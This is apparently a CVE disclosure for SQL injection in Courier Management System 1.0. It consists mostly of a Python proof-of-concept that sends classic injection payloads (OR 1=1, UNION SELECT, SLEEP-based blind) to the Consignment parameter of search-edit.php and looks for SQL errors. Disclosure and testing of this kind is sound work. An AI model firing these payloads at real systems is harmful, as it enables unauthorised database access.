CVE-2025-13303: Courier Management System 1.0 SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-13303 PoC - Courier Management System 1.0 SQL Injection Target: /search-edit.php Parameter: Consignment """ import requests import sys from urllib.parse import urlencode target_url = "http://target.com/search-edit.php" # Basic SQL Injection test payloads payloads = [ "'", # Basic quote test "' OR '1'='1", # Classic OR injection "' UNION SELECT NULL--", # UNION-based injection "' AND SLEEP(5)--", # Time-based blind injection ] def test_sql_injection(url, param_name="Consignment"): """Test for SQL injection vulnerability""" print(f"[*] Testing SQL injection on {url}") print(f"[*] Parameter: {param_name}") for payload in payloads: try: data = {param_name: payload} response = requests.post(url, data=data, timeout=10) print(f"\n[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") # Check for SQL error indicators if "sql" in response.text.lower() or "mysql" in response.text.lower() or "error" in response.text.lower(): print(" [!] Potential SQL error detected!") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_sql_injection(target_url)